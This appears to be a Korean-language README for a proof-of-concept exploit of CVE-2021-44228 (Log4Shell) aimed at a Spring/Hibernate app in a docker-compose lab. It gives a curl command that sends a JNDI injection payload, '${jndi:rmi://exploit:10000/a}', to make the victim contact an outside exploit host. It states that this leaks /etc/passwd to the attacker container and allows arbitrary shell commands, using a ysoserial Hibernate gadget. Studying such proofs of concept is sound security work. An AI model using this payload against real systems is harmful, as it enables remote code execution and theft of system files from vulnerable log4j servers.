
CVE-2021-44228 POC - Spring / Hibernate
이 POC는 Spring / Hibernate를 사용하지만, rmi -> 역직렬화와 유사한 접근 방식으로 모든 역직렬화 취약점을 트리거하는 데 사용될 수 있습니다
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
피해자의 /etc/passwd 내용이 attacker 컨테이너의 로그에 나타나는 것을 볼 수 있습니다.
exploit 서비스의 명령을 교체하여 피해자에서 임의의 셸 명령을 실행할 수 있습니다.
피해자는 "Spring Data JPA"(Hibernate용), "Spring Web", "H2"(데이터 저장소) 종속성을 가진 표준 스타터 Spring 앱을 실행 중입니다. 이 위에 두 가지만 수정되었습니다.
slf4j 로거를 취약한 log4j로 교체모든 종속성은 최신 상태입니다. 특별한 플래그는 활성화되어 있지 않습니다.
피해자는 /에 POST 요청을 받는 엔드포인트를 노출하며, 요청을 로그로 기록합니다.
이 익스플로잇은 Hibernate 익스플로잇 생성기를 사용하는 ysoserial 포크에 의존합니다. 익스플로잇이 최신 버전의 Hibernate와 함께 작동하려면 ysoserial을 다시 컴파일해야 합니다.